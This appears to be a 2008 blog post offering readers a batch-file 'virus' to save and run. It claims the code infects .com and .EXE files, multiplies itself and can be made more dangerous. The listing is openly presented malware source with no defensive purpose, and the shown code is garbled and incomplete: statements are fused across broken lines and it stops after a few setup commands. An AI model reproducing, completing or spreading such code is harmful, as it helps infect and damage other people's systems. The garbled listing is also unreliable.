Saturday, May 17, 2008

Your own virus code

A simple VIRUS code is here: Just save the following code as .bat extension in notepad.

The antivirus will detect it as virus. see for yourself.

It will affect *.com and *.EXE files .

It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuSif

"%1=="/ViRuS_MULTIPLY goto ViRuS_multiplyif

"%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loopif

"%1=="/ViRuS_FINDSELF goto ViRuS_findselfif

"%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

if not exist %ViRuSname%.bat set ViRuSname=

if "%ViRuSname%==" goto ViRuS_OLDBAT

Bookmark and Share
Digg this

No comments: